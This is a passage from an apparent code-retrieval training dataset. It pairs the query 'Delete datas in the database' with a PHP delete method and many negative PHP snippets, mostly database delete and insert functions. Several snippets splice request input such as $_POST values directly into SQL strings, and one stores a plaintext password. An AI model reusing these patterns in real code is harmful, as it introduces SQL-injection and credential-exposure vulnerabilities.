"public function insert(){\n\n global $db;\n\n /** Insert sql query */\n $sql = \"INSERT INTO tbl_calculator (num1, num2, oper, answer)\n VALUES (\" . $this->num1 .\", \" . $this->num2 . \", '\" .$this->oper. \"', \" .$this->answer. \" )\";\n\n /** insert result maintain in log file */ \n error_log($sql);\n\n if ($db->query($sql) === TRUE) {\n error_log(\"New record created successfully\");\n } else {\n error_log(\"Error: \" . $sql . \"<br>\" . $db->error);\n }\n return;\n }",
"public function run()\n {\n \tDB::table('forme')->insert([\n \t\t'value' => 'haute',\n\n \t\t]);\n \tDB::table('forme')->insert([\n \t\t'value' => 'ronde',\n\n \t\t]);\n \tDB::table('forme')->insert([\n \t\t'value' => 'large',\n \t\t\n \t\t]);\n }",
"public function insertEstudiante_post() {\n\t\t$nombre = $this->input->post(\"txtNombre\");\n\t\t$apellido = $this->input->post(\"txtApellido\");\n\t\t$carrera = $this->input->post(\"txtCarrera\");\n $carnet = $this->input->post(\"txtCarnet\");\n $pass = $this->input->post(\"txtPassword\");\n\n\t\t//mandar los input a arreglo y campos de la bd\n\t\t$data = array(\n\t\t\t'nombre' => $nombre ,\n\t\t\t'apellido' => $apellido ,\n\t\t\t'carrera'=>$carrera,\n 'carnet'=>$carnet,\n 'password'=>$pass,\n\t\t );\n\n if($this->EstudianteModel->insertEstudiante($data))\n $this->response(array('status' => 'exito'));\n else \n $this->response(array('status' => 'fallo'));\n }"
]
| [
"0.7756813",
"0.75300944",
"0.7514375",
"0.7494617",
"0.74382377",
"0.74206054",
"0.7417442",
"0.7409831",
"0.7292297",
"0.72845215",
"0.72184914",
"0.7190993",
"0.71654314",
"0.7153021",
"0.71468705",
"0.71460515",
"0.71437675",
"0.71308225",
"0.7101899",
"0.7101831",
"0.7101636",
"0.7097584",
"0.7097564",
"0.70581424",
"0.7052082",
"0.70499253",
"0.704622",
"0.7046177",
"0.7046177",
"0.7046177",
"0.70461285",
"0.70334035",
"0.7031238",
"0.70251703",
"0.70100284",
"0.7005713",
"0.69836354",
"0.6982982",
"0.69801664",
"0.69785887",
"0.6974581",
"0.6972369",
"0.69622576",
"0.69622576",
"0.6917198",
"0.6917198",
"0.6913913",
"0.69079953",
"0.6905961",
"0.68921125",
"0.6889988",
"0.68889016",
"0.68887264",
"0.6883674",
"0.6880531",
"0.68727815",
"0.6867528",
"0.6865039",
"0.6863899",
"0.6863171",
"0.6858606",
"0.6858002",
"0.68570584",
"0.6855014",
"0.6841554",
"0.68355685",
"0.6829288",
"0.681385",
"0.68082696",
"0.6801172",
"0.6793128",
"0.6789869",
"0.67858803",
"0.67839086",
"0.6783647",
"0.6782386",
"0.6780942",
"0.6780052",
"0.67653507",
"0.67621356",
"0.67600405",
"0.6758974",
"0.6757641",
"0.67553455",
"0.675448",
"0.67543095",
"0.67503357",
"0.67443925",
"0.67431056",
"0.67417425",
"0.6738786",
"0.67343307",
"0.67326003",
"0.6728146",
"0.67262733",
"0.6724559",
"0.6723275",
"0.6723199",
"0.671791",
"0.67174256",
"0.6710515"
]
| 0.0 | -1 |
Delete datas in the database | public function delete(int $id): bool
{
$statement = $this->pdo->prepare("DELETE FROM $this->table WHERE id = ?");
return $statement->execute([$id]);
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function deleteData()\n {\n DB::table($this->dbTable)\n ->where($this->where)\n ->delete();\n }",
"public function delete()\n {\n $this->db->delete($this->table, $this->data['id'], $this->key);\n }",
"public function delete(){\r\n\t\t$this->db->delete();\r\n\t}",
"function delete()\n\t{\n\t\tSQL::query(\"delete from {$this->_table} where id = {$this->_data['id']}\");\n\t}",
"public function delete() {\n $conexion = StorianDB::connectDB();\n $borrado = \"DELETE FROM cuento WHERE id=\\\"\".$this->id.\"\\\"\";\n $conexion->exec($borrado);\n }",
"function delete(){\r\n\t\t//Connect\r\n\t\t$sql = new DataBase;\r\n\t\t$sql->connect();\r\n\t}",
"function delete(){\n\t\t\t\t$servername = \"localhost\";\n\t\t\t\t$username = \"root\";\n\t\t\t\t$password = \"\";\n\t\t\t\t$dbname = \"CS230\";\n\t\t\t\t//Variables for holding entity data\n\t\t\t\t$i = $_POST['i'];\n\t\t\t\t$conn = mysqli_connect($servername, $username, $password, $dbname);\n\t\t\t\tif($conn){\n\t\t\t\t//echo \"Connection OK\";\n\t\t\t\t}else{\n\t\t\t\t\tdie(\"The Connection has failed: \" .mysqli_connect_error());\n\t\t\t\t}\n\t\t\t\t$sql = \"DELETE FROM eBook_MetaData WHERE id='$i'\";\n\t\t\t\t$data = mysqli_query($conn,$sql);\n\t\t\t\t\t//If data is not transfered to the database\n\t\t\t\t\tif(!$data){\n\t\t\t\t\techo \"error\";\n\t\t\t\t\t//If it is transfered\n\t\t\t\t\t}else{\n\t\t\t\t\t\techo \"Data deleted\";\n\t\t\t\t\t}\n\t\t\t\t$conn = null;\n\t\t\t\t}",
"public function delete() {\n global $DB;\n $DB->delete_records($this->get_table_name(), array('id' => $this->id));\n }",
"public function delete(){\n if (isset($this->content[$this->idField])) {\n\n $sql = \"DELETE FROM {$this->table} WHERE {$this->idField} = {$this->content[$this->idField]};\";\n $delet = new \\AR\\BD\\Delete();\n $delet->ExeDelete($this->table, \"WHERE {$this->idField} = {$this->content[$this->idField]}\", \"\");\n \n }\n }",
"protected function delete() {\n $this->db->deleteRows($this->table_name, $this->filter);\n storeDbMsg($this->db);\n }",
"public function delete() {\n\t\tif ($this->checkDependencies() == true ) {\n\t\t\t$sql = \"DELETE FROM \".$this->tablename.\" where \".$this->idcol.\" = \".$this->page->ctrl['record'];\n\t\t\t$this->dbc->exec($sql);\n\t\t}\n\t}",
"function delete() {\n $this->db->delete(self::table_name, array('id' => $this->id));\n // need to delete from tag maps too\n // tbd\n }",
"public function delete(){\n $db = Database::getInstance() ;\n $db->query(\"DELETE FROM canciones WHERE idcancion=:idcan ;\",\n [\":idcan\"=>$this->idcancion]) ;\t\t\t\t \n }",
"public function delete () {\n $this->db->delete('emprestimos', array('id_emprestimo' => $this->id_emprestimo));\n }",
"function delete() {\n $this->db->delete(self::table_name, array('id' => $this->id));\n }",
"public function vymaz(){\r\n $db = napoj_db();\r\n $sql =<<<EOF\r\n DELETE FROM Diskusie WHERE id = \"$this->ID\";\r\nEOF;\r\n $ret = $db->exec($sql);\r\n if(!$ret){\r\n echo $db->lastErrorMsg();\r\n }\r\n $db->close();\r\n }",
"public function deleteData(){\n //buatlah query\n $sqlQuery = \"DELETE FROM \" . $this->t_name . \" WHERE id = ?\";\n\n //persiapkan stmt\n $stmt = $this->conn->prepare($sqlQuery);\n\n //cukup converte id\n $this->id=htmlspecialchars(strip_tags($this->id));\n\n //bind\n $stmt->bindParam(1,$this->id);\n\n //eksekusi\n if($stmt->execute()){\n return true;\n }\n return false;\n }",
"function erase() {\n //delete * from database\n }",
"public function deleteDatabaseStructure( );",
"public function delete(){\n //Préparation de la requête\n $sql = \"DELETE FROM atelier WHERE idAtelier = ?\";\n $requete = $this->connectBdd->prepare($sql);\n\n //Execution de la requete\n $requete->execute([$this->getIdAtelier()]);\n\n //Fermeture de la requete\n $requete->closeCursor();// requête delete \n }",
"public function delete()\r\n {\r\n $db = Database::getDatabase();\r\n $db->consulta(\"DELETE FROM puesto WHERE idPue = {$this->idPue};\");\r\n }",
"public function delete()\n {\n Db::getInstance()->delete($this->getTableName(), ['id' => $this->getId()]);\n }",
"public function eliminar($data)\n {\n $cliente=$this->db->query('delete from tab_cliente where id_cliente='.$data); \n }",
"public function delete(){\r\n\t\t// goi den phuong thuc delete cua tableMask voi id cua man ghi hien hanh\r\n\t\t$mask = $this->mask();\r\n\t\treturn $mask->delete(array($mask->idField=>$this->id));\r\n\t\t// $query = \"DELETE FROM $this->tableName WHERE id='$this->id'\";\r\n\t\t// $conn = self::getConnect()->prepare($query);\r\n\t}",
"public function delete(){\n \t\ttry{\n \t\t\t$db = DB::get();\n \t\t\t$sql = \"UPDATE t_\" . self::$Table . \" \n \t\t\t\t\tSET \" . self::$Table . \"_supprime='1' \n \t\t\t\t\tWHERE \" . self::$Table . \"_id = '\".$this->Id.\"' \";\n \t\t\n \t\t\t$result = $db->query($sql);\n \t\t}\n \t\tcatch(Exception $e){\n \t\t\tvar_dump($e->getMessage());\n \t\t}\n }",
"public function clean(){\n\t\t$sql = 'DELETE FROM ano_letivo';\n\t\t$sqlQuery = new SqlQuery($sql);\n\t\treturn $this->executeUpdate($sqlQuery);\n\t}",
"public function delete();",
"public function delete();",
"public function delete();",
"public function delete();",
"public function delete();",
"public function delete();",
"public function delete();",
"public function delete();",
"public function delete();",
"public function delete();",
"public function delete();",
"public function delete();",
"public function delete();",
"public function delete();",
"public function delete();",
"public function delete(){\n $bd = Db::getInstance();\n $sql = \"DELETE FROM login WHERE id= :id\";\n $stmt = $bd->prepare($sql);\n $stmt->execute([\":id\" => $this->id]);\n }",
"function delete() {\n $fetchPrimary = $this->mysqlConnection->query(\"SHOW INDEX FROM \".$this->table);\n $arrayIndex = $fetchPrimary->fetch(PDO::FETCH_ASSOC);\n $kolomIndex = $arrayIndex['Column_name'];\n\n\t\t\t// Delete het huidige record.\n\n\t\t\t$deleteQuery = \"DELETE FROM \".$this->table.\" WHERE \".$kolomIndex.\" = \".$this->originalValues[$kolomIndex];\n\t\t\t$this->lastQuery = $deleteQuery;\n\n $deleteTable = $this->mysqlConnection->prepare($this->lastQuery);\n $deleteTable->execute();\n\n\t\t}",
"function delete()\n {\n $GLOBALS['DB']->exec(\"DELETE FROM stores WHERE id = {$this->getId()};\");\n $GLOBALS['DB']->exec(\"DELETE FROM stores_brands WHERE store_id = {$this->getId()};\");\n }",
"public function delete()\n\t{\n\t\tif ($this->data['id'])\n\t\t{\n\t\t\treturn $this->db->delete($this->table_name, array('id' => $this->data['id']));\n\t\t}\n\t}",
"public function delete(){\n global $db;\n $delete = $db->prepare('DELETE FROM posts WHERE id = :id');\n $delete->bindValue(':id', $this->_id, PDO::PARAM_INT);\n $delete->execute();\n }",
"public function clean(){\n\t\t$sql = 'DELETE FROM aluno';\n\t\t$sqlQuery = new SqlQuery($sql);\n\t\treturn $this->executeUpdate($sqlQuery);\n\t}",
"function delete() {\n \tglobal $mysql;\n \tif(empty($this->id)) return;\n \t$tablename = $this->class_name();\n \t$id = $this->id;\n \t$query = \"DELETE FROM $tablename WHERE id=$id\";\n \t$mysql->update($query);\n }",
"public function delete() {\n\t\t$dbh = App::getDatabase()->connect();\n\n\t\t$query = \"DELETE FROM \".$this->getTableName();\n\n\t\t$fl = true;\n\t\tforeach($this as $column => $val) {\n\t\t\tif(in_array($column, $this->getPrimaries())) {\n\t\t\t\t$query .= \"\\n\".(($fl) ? \"WHERE\" : \"AND\").\" \".$column.\" = '\".$val.\"'\";\n\t\t\t\t$fl = false;\n\t\t\t}\n\t\t}\n\n\t\t$res = $dbh->exec($query);\n\t\t$dbh = null;\n\t\treturn $res;\n\t}",
"public function delete()\n {\n self::deleteById( $this->db, $this->id, $this->prefix );\n\n if( $this->inTransaction )\n {\n //$this->db->commit();\n $this->inTransaction = false;\n }\n }",
"function del($param) {\n extract($param);\n $conexion->getPDO()->exec(\"DELETE FROM operario WHERE fk_usuario = '$id'; \n DELETE FROM usuario WHERE id_usuario='$id'\");\n echo $conexion->getEstado();\n }",
"public function clean(){\n\t\t$sql = 'DELETE FROM compra_coletiva';\n\t\t$sqlQuery = new SqlQuery($sql);\n\t\treturn $this->executeUpdate($sqlQuery);\n\t}",
"public function clean(){\n\t\t$sql = 'DELETE FROM conta_a_pagar';\n\t\t$sqlQuery = new SqlQuery($sql);\n\t\treturn $this->executeUpdate($sqlQuery);\n\t}",
"public function deleteRecord()\n { \n $sql = \"DELETE FROM Cubans WHERE Id = :Id\";\n $statement = $this->connect->prepare($sql);\n $statement->bindValue(':Id', $this->id);\n $statement->execute();\n }",
"public function deleteData($sql, $params=[]){\n $this->create($sql,$params);\n\n }",
"public function delete(){\n global $database;\n \n //$sql = \"DELETE FROM users \";\n $sql = \"DELETE FROM \" .static::$db_table . \" \"; // space is for where // Change self to late static binding\n $sql .=\"WHERE id =\" . $database->escape_string($this->id);\n $sql .= \" LIMIT 1\";\n \n // Send the query to a databse using iternally instead of if\n $database->query($sql);\n return (mysqli_affected_rows($database->connection) ==1) ? true : false;\n }",
"function deleteUser(){\n $bdd = bdd();\n $bdd->prepare(\"DELETE from postSujet where propri=?\")->execute(array($_GET['del']));\n $bdd->prepare(\"DELETE from membres where id=?\")->execute(array($_GET['del']));\n}",
"function delete() {\n\t\t$sql = \"DELETE FROM cost_detail\n\t\t\t\tWHERE cd_fr_id=?, cd_seq=?\";\n\t\t$this->ffm->query($sql, array($this->cd_fr_id, $this->cd_seq));\n\t}",
"function delete() {\n\t \t$sql = \"DELETE FROM evs_database.evs_identification\n\t \t\t\tWHERE idf_id=?\";\n\t \t$this->db->query($sql, array($this->idf_id));\n\t\t\n\t }",
"public function destroy() {\n\t\t$sql = 'DELETE FROM ' . static::$table . ' WHERE id = ' . $this->get('id') . ';';\n\t\t$query = DBH()->prepare($sql);\n\t\t$query->execute();\n\t}",
"public function delete() {\n\t\tif (!empty($this->originalData)) {\n\t\t\t$query = $this->connection->query(\"DELETE FROM {$this->table} WHERE \".self::$primaryKey[$this->table].\"='{$this->originalData[self::$primaryKey[$this->table]]}'\");\n\t\t\t$query = $this->connection->query(\"ALTER TABLE $this->table AUTO_INCREMENT = 1\");\n\t\t\t$this->originalData = array();\n\t\t}\t\n\t\telse \n\t\t\tthrow new Exception('You are trying to delete an inexistent row');\n\t}",
"public function delete() {\n\t\t$this->getConnection()->delete( $this );\n\t\t$this->clear();\n\t}",
"public function delete()\n {\n $entities = $this->entities;\n Database::getInstance()->doTransaction(\n function() use ($entities)\n {\n foreach ($entities as $entity)\n {\n $entity->delete();\n }\n }\n );\n }",
"final public function delete() {\n global $config; \n # Borrar el elemento de la base de datos\n $this->db->query(\"DELETE FROM guarderia_2 WHERE id_guarderia = $this->id\");\n # Redireccionar a la página principal del controlador\n $this->functions->redir($config['site']['url'] . 'sedes/&success=true');\n }",
"public function delete()\n {\n $stmt = $this->_db->prepare(\"DELETE FROM score;\");\n $stmt->execute();\n }",
"public function delete()\n{//delete\n $sql = \"DELETE FROM pefs_database.pef_assessor WHERE ase_id = ?\";\n $this->db->query($sql,array($this->ase_id)); \n}",
"public function delete(){\n return (new Database('cliente'))->delete('id = '.$this->id);\n }",
"public function DELETE() {\n #\n }",
"public function delete() {\n\n\t\t// Database\n\t\t$db = $this->db;\n\n\t\t// SQL code for deletion\n\t\t$sql = $this->sql_for_delete();\n\n\t\t// Deletion execution\n\t\treturn $db::execute($sql);\n\t}",
"public function delete(){\n\t\t$db = new Database();\n\t\t$sql = \"DELETE FROM reports WHERE id=?\";\n\t\t$sql = $db->prepareQuery($sql, $this->id);\n\t\t$db->query($sql);\n\t}",
"public function delete()\n {\n // If deposit is existing, will get database ID removed.\n $this->dbID = $this->db->deleteDeposit($this);\n }",
"public function deleteEntidad(){\n $conexion = new Database();\n\t\tif ($this->codigo){\n $sql = sprintf('DELETE FROM agenda_entidades WHERE entidad_id = %d',\n $this->codigo);\n $conexion->exec( $sql );\n }\n }",
"function Sql_DB_Delete($db=\"\")\n {\n $query=$this->DB_Delete_Query($db);\n $this->DB_Query($query);\n }",
"private function delete(){\n\t\t$id = $this->objAccessCrud->getId();\n\t\tif (empty ( $id )) return;\n\t\t// Check if there are permission to execute delete command.\n\t\t$result = $this->clsAccessPermission->toDelete();\n\t\tif(!$result){\n\t\t\t$this->msg->setWarn(\"You don't have permission to delete!\");\n\t\t\treturn;\n\t\t}\n\t\tif(!$this->objAccessCrud->delete($id)){\n\t\t\t$this->msg->setError (\"There was an issue to delete, because this register has some relation with another one!\");\n\t\t\treturn;\n\t\t}\n\t\t// Cleaner all class values.\n\t\t$this->objAccessCrud->setAccessCrud(null);\n\t\t// Cleaner session primary key.\n\t\t$_SESSION['PK']['ACCESSCRUD'] = null;\n\n\t\t$this->msg->setSuccess (\"Delete the record with success!\");\n\t\treturn;\n\t}",
"function delete() {\n\t\t$sql = \"DELETE FROM \".$this->hr_db.\".hr_amphur\n\t\t\t\tWHERE amph_id=?\";\n\t\t$this->hr->query($sql, array($this->amph_id));\n\t}",
"public function delete()\n\t{\n\t\t$this->hard_delete();\n\t}",
"public function delete()\n\t{\n\t\tDatabase::query(\"\n\t\t\tDELETE FROM\n\t\t\t\t\". $this->tableName .\"\n\t\t\tWHERE\n\t\t\t\tid = '\". $this->id .\"'\n\t\t\");\n\t}",
"function delete() {\n\t\t$sqlStatements = array();\n\t\t$sqlStatements[] = \"DROP TABLE IF EXISTS tags\";\n\t\t$sqlStatements[] = \"DROP TABLE IF EXISTS siteViews\";\n\t\texecuteSqlStatements($sqlStatements);\n\t}",
"public function delete($datos_){\n $id=$datos_->getId();\n\n try {\n $sql =\"DELETE FROM `datos_` WHERE `id`='$id'\";\n return $this->insertarConsulta($sql);\n } catch (SQLException $e) {\n throw new Exception('Primary key is null');\n }\n }",
"public function delete($id){\n $sql = DELETE . TABELA_MODELO . \" WHERE idModelo = \".$id;\n\n \n //Abrindo conexão com o BD\n $PDO_conex = $this->conex->connectDataBase();\n\n //Executa no BD o script Insert e retorna verdadeiro/falso\n if($PDO_conex->query($sql)){\n $erro = false;\n }else{\n $erro = true;\n }\n //Fecha a conexão com o BD\n $this->conex->closeDataBase();\n return $erro;\n}",
"public function delete() {}",
"public function delete() {}",
"public function delete() {}",
"public function delete() {}",
"public function index_delete(){\n\t\t\n\t\t}",
"function delete_data($table, $id){\n\n $query = $this->db->delete($table, array('id' => $id));\n\n }",
"public function __doDelete()\n {\n $strSQL = $this->getDeleteSql();\n $result = $this->query($strSQL);\n }",
"public function eliminar() {\n //$this->delete();\n $campo_fecha_eliminacion = self::DELETED_AT;\n $this->$campo_fecha_eliminacion = date('Y-m-d H:i:s');\n $this->status = 0;\n $this->save();\n }",
"public function delete($data)\n {\n }",
"public function delete($data)\n {\n }",
"public function delete($data){\n $this->db->delete('artist_details',array('id'=>$data));\n return true;\n \n }",
"function index_delete() {\n $id_diagnosa = $this->delete('id_diagnosa');\n $this->db->where('id_diagnosa', $id_diagnosa);\n $delete = $this->db->delete('diagnosa');\n if ($delete) {\n $this->response(array('status' => 'success'), 201);\n } else {\n $this->response(array('status' => 'fail', 502));\n }\n }",
"public function delete()\n {\n \n }",
"public function delete(){\n\t\t$parametro = func_get_args();\t\t\n\t\t$resultado=$this->execSql($this->DELETE,$parametro);\n\t\tif (!$resultado){\n\t\t\t$this->onError(\"COD_DELETE\",$this->DELETE);\n\t\t}\n\t\treturn $resultado;\n\t}",
"public function delete() {\n $sql = \"DELETE FROM archivos WHERE contrato_id=:contrato_id\";\n $args = array(\n \":contrato_id\" => $this->id\n );\n $stmt = $this->executeQuery($sql, $args);\n\n $sql = \"DELETE FROM contratos_tipos_contratos WHERE contrato_id=:contrato_id\";\n $args = array(\n \":contrato_id\" => $this->id\n );\n $stmt = $this->executeQuery($sql, $args);\n\n $sql = \"DELETE FROM contratos WHERE id=:id\";\n $args = array(\n \":id\" => $this->id\n );\n $stmt = $this->executeQuery($sql, $args);\n\n return !$stmt ? false : true;\n }",
"public function delete () {\n $this->db->delete('turmas', array('idturma' => $this->idturma));\n }",
"public function delete()\n {\n\n\n $myDataAccess = aDataAccess::getInstance();\n $myDataAccess->connectToDB();\n // I just made it cascade null when deleted ;)\n\n\n \t$recordsAffected = $myDataAccess->deletePage($this->m_Pageid);\n\n \treturn \"$recordsAffected row(s) affected!\";\n }",
"public function delteRecords(){\n // Get the sql statement\n $sql = $this->deleteSql();\n // Prepare the query\n $stmt = $this->db->prepare($sql);\n \n $stmt->execute();\n \n return true;\n \n }",
"public function suppDB()\n {\n $id = $_GET['id'];\n\n $requete = $this->connexion->prepare(\"DELETE FROM `news` WHERE id=:id\");\n $requete->bindParam(':id', $id);\n $resultat = $requete->execute();\n // var_dump($resultat);\n }",
"protected function delete() {\n\t}",
"public function delete()\r\n\t{\r\n\t}"
]
| [
"0.82667714",
"0.8054054",
"0.79420877",
"0.7915687",
"0.78269446",
"0.7818811",
"0.77986735",
"0.77929455",
"0.77739424",
"0.77601093",
"0.7734197",
"0.7698487",
"0.76093394",
"0.7568754",
"0.7568216",
"0.7565463",
"0.75638586",
"0.75577277",
"0.754554",
"0.75077766",
"0.7501981",
"0.74107915",
"0.73894703",
"0.7362544",
"0.73612595",
"0.7336403",
"0.73358107",
"0.73358107",
"0.73358107",
"0.73358107",
"0.73358107",
"0.73358107",
"0.73358107",
"0.73358107",
"0.73358107",
"0.73358107",
"0.73358107",
"0.73358107",
"0.73358107",
"0.73358107",
"0.73358107",
"0.7320961",
"0.7318875",
"0.73043394",
"0.7298229",
"0.7296292",
"0.7289751",
"0.728856",
"0.7281397",
"0.7280576",
"0.7278562",
"0.72700006",
"0.72527635",
"0.7251434",
"0.7220185",
"0.72077113",
"0.72019905",
"0.71842253",
"0.71838224",
"0.7179473",
"0.7173654",
"0.71683353",
"0.7167416",
"0.7160928",
"0.7149239",
"0.7147993",
"0.7145456",
"0.71448827",
"0.7134272",
"0.713262",
"0.7125401",
"0.7123086",
"0.7109941",
"0.7094236",
"0.7091661",
"0.70911676",
"0.70755446",
"0.7073062",
"0.7060448",
"0.70591277",
"0.704758",
"0.704758",
"0.7046879",
"0.7044694",
"0.7043511",
"0.7038991",
"0.7038706",
"0.7037977",
"0.7030591",
"0.7030591",
"0.70241493",
"0.70224553",
"0.70219696",
"0.70150703",
"0.7013013",
"0.70111656",
"0.70100087",
"0.7008449",
"0.7006978",
"0.6997785",
"0.6997635"
]
| 0.0 | -1 |
Gets the private '.service_locator.NfsLtU1' shared service. | public static function do($container, $lazyLoad = true)
{
return $container->privates['.service_locator.NfsLtU1'] = new \Symfony\Component\DependencyInjection\Argument\ServiceLocator($container->getService, [
'App\\Controller\\Api\\MoviesController::getAction' => ['privates', '.service_locator.i_4ZzWf', 'get_ServiceLocator_I4ZzWfService', true],
'App\\Controller\\Api\\MoviesController::postAction' => ['privates', '.service_locator.Om4dtJv', 'get_ServiceLocator_Om4dtJvService', true],
'App\\Controller\\Api\\MoviesController::setViewHandler' => ['privates', '.service_locator.srPvxhL', 'get_ServiceLocator_SrPvxhLService', true],
'App\\Controller\\MoviesController::addMovie' => ['privates', '.service_locator.Om4dtJv', 'get_ServiceLocator_Om4dtJvService', true],
'App\\Controller\\MoviesController::getMovie' => ['privates', '.service_locator.i_4ZzWf', 'get_ServiceLocator_I4ZzWfService', true],
'App\\Controller\\MoviesController::listMovies' => ['privates', '.service_locator.i_4ZzWf', 'get_ServiceLocator_I4ZzWfService', true],
'App\\Kernel::loadRoutes' => ['privates', '.service_locator.C9JCBPC', 'get_ServiceLocator_C9JCBPCService', true],
'App\\Kernel::registerContainerConfiguration' => ['privates', '.service_locator.C9JCBPC', 'get_ServiceLocator_C9JCBPCService', true],
'App\\Kernel::terminate' => ['privates', '.service_locator.beq5mCo', 'get_ServiceLocator_Beq5mCoService', true],
'kernel::loadRoutes' => ['privates', '.service_locator.C9JCBPC', 'get_ServiceLocator_C9JCBPCService', true],
'kernel::registerContainerConfiguration' => ['privates', '.service_locator.C9JCBPC', 'get_ServiceLocator_C9JCBPCService', true],
'kernel::terminate' => ['privates', '.service_locator.beq5mCo', 'get_ServiceLocator_Beq5mCoService', true],
'App\\Controller\\Api\\MoviesController:getAction' => ['privates', '.service_locator.i_4ZzWf', 'get_ServiceLocator_I4ZzWfService', true],
'App\\Controller\\Api\\MoviesController:postAction' => ['privates', '.service_locator.Om4dtJv', 'get_ServiceLocator_Om4dtJvService', true],
'App\\Controller\\Api\\MoviesController:setViewHandler' => ['privates', '.service_locator.srPvxhL', 'get_ServiceLocator_SrPvxhLService', true],
'App\\Controller\\MoviesController:addMovie' => ['privates', '.service_locator.Om4dtJv', 'get_ServiceLocator_Om4dtJvService', true],
'App\\Controller\\MoviesController:getMovie' => ['privates', '.service_locator.i_4ZzWf', 'get_ServiceLocator_I4ZzWfService', true],
'App\\Controller\\MoviesController:listMovies' => ['privates', '.service_locator.i_4ZzWf', 'get_ServiceLocator_I4ZzWfService', true],
'kernel:loadRoutes' => ['privates', '.service_locator.C9JCBPC', 'get_ServiceLocator_C9JCBPCService', true],
'kernel:registerContainerConfiguration' => ['privates', '.service_locator.C9JCBPC', 'get_ServiceLocator_C9JCBPCService', true],
'kernel:terminate' => ['privates', '.service_locator.beq5mCo', 'get_ServiceLocator_Beq5mCoService', true],
], [
'App\\Controller\\Api\\MoviesController::getAction' => '?',
'App\\Controller\\Api\\MoviesController::postAction' => '?',
'App\\Controller\\Api\\MoviesController::setViewHandler' => '?',
'App\\Controller\\MoviesController::addMovie' => '?',
'App\\Controller\\MoviesController::getMovie' => '?',
'App\\Controller\\MoviesController::listMovies' => '?',
'App\\Kernel::loadRoutes' => '?',
'App\\Kernel::registerContainerConfiguration' => '?',
'App\\Kernel::terminate' => '?',
'kernel::loadRoutes' => '?',
'kernel::registerContainerConfiguration' => '?',
'kernel::terminate' => '?',
'App\\Controller\\Api\\MoviesController:getAction' => '?',
'App\\Controller\\Api\\MoviesController:postAction' => '?',
'App\\Controller\\Api\\MoviesController:setViewHandler' => '?',
'App\\Controller\\MoviesController:addMovie' => '?',
'App\\Controller\\MoviesController:getMovie' => '?',
'App\\Controller\\MoviesController:listMovies' => '?',
'kernel:loadRoutes' => '?',
'kernel:registerContainerConfiguration' => '?',
'kernel:terminate' => '?',
]);
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function getSharedManager();",
"public function get_service() {\n\n\t\treturn $this->provider_instance;\n\t}",
"public static function getShared()\r\n\t{\r\n\t\treturn self::$shared;\r\n\t}",
"abstract public function getServiceName();",
"private static function getService()\n {\n return self::$app->get(static::SERVICE_NAME);\n }",
"abstract public static function getServiceId(): string;",
"public function getService()\n {\n\n if (preg_match('/^2\\./', $this->getVersion())) {\n $service = 'get';\n } else {\n $service = 'objects';\n }\n\n return $service;\n\n }",
"public function getServiceLocator();",
"public function getService($name) {\n if(!$this->hasService($name)) {\n throw new Exception(\"Service '$name' does not exist.\");\n }\n\n if(array_key_exists($name, $this->shared_instances)) {\n return $this->shared_instances[$name];\n }\n\n $service = $this->createService($name, NULL, TRUE);\n\n if($this->services[$name][\"shared\"]) {\n $this->shared_instances[$name] = $service;\n }\n\n return $service;\n }",
"public function getSingleton(string $serviceId): mixed;",
"public function getServiceLocator()\n {\n if (!isset($this['pantono.service.locator'])) {\n $this['pantono.service.locator'] = new Locator($this);\n }\n return $this['pantono.service.locator'];\n }",
"public function service()\r\n {\r\n return $this->service;\r\n }",
"public function getService()\n {\n return null;\n }",
"abstract protected function getService();",
"private function getServiceLocator()\n {\n return $this->serviceLocator;\n }",
"function &happy_linux_get_singleton( $name )\n{\n\tstatic $singletons;\n\n\tif ( !isset($singletons[$name]) ) \n\t{\n\t\t$class = 'happy_linux_'.$name;\n\t\t$file = XOOPS_ROOT_PATH.'/modules/happy_linux/class/'.$name.'.php';\n\n\t\tif ( file_exists($file) )\n\t\t{\n\t\t\tinclude_once $file;\n\t\t}\n\n\t\tif ( class_exists($class) ) \n\t\t{\n\t\t\t$singletons[$name] = new $class();\n\t\t}\n\t}\n\n\tif ( isset($singletons[$name]) ) \n\t{\n\t\t$single =& $singletons[$name];\n\t\treturn $single;\n\t}\n\telse\n\t{\n\t\tif ( happy_linux_is_admin() && function_exists('debug_print_backtrace') )\n\t\t{\n\t\t\techo \"happy_linux_get_singleton <br />\\n\";\n\t\t\tdebug_print_backtrace();\n\t\t}\n\t}\n\n\t$false = false;\n\treturn $false;\n}",
"public function service()\n {\n return $this->service;\n }",
"protected function _getUserService() {\n \tif(null === $this->userService) {\n \t\t$sm = $this->getServiceLocator();\n \t\t$this->userService = ServicesUtil::getUserUtil($sm);\n \t}\n \treturn $this->userService;\n }",
"private static function getServiceInstance()\n {\n $s = self::getServiceType();\n switch ($s) {\n case 0:\n http_response_code(404);\n exit();\n case 1:\n return new RCFaxClient();\n break;\n case 2:\n return new TwilioFaxClient();\n }\n }",
"public function service() {\n return $this->service;\n }",
"protected function getTokenVersionService(){\n\t\tif ($this->token_version_service == null) {\n\t\t\t$this->token_version_service = new \\Wallee\\Sdk\\Service\\TokenVersionService(\\WalleeHelper::instance($this->registry)->getApiClient());\n\t\t}\n\t\t\n\t\treturn $this->token_version_service;\n\t}",
"public function shareService ()\n {\n \n $list = $this->services->findAll();\n return $list;\n }",
"protected function getViewonlineHelperService()\n {\n return $this->services['viewonline_helper'] = new \\phpbb\\viewonline_helper(${($_ = isset($this->services['filesystem']) ? $this->services['filesystem'] : ($this->services['filesystem'] = new \\phpbb\\filesystem\\filesystem())) && false ?: '_'});\n }",
"final public function getService($type)\n\t{\n\t\treturn $this->getServiceLocator()->getService($type);\n\t}",
"public function getServiceLocator()\n {\n \treturn $this->serviceLocator;\n }",
"public static function get($name) {\r\n return self::getInstance()->getService($name);\r\n }",
"public function getServiceKey() {}",
"public function getService ()\n {\n if (null === $this->_service) {\n $this->setService('Default_Service_Spirit');\n }\n return $this->_service;\n }",
"public static function getServicePoint()\n {\n return self::$servicePoint;\n }",
"protected function getPasswords_Driver_Sha1SmfService()\n {\n return $this->services['passwords.driver.sha1_smf'] = new \\phpbb\\passwords\\driver\\sha1_smf(${($_ = isset($this->services['config']) ? $this->services['config'] : $this->getConfigService()) && false ?: '_'}, ${($_ = isset($this->services['passwords.driver_helper']) ? $this->services['passwords.driver_helper'] : $this->getPasswords_DriverHelperService()) && false ?: '_'});\n }",
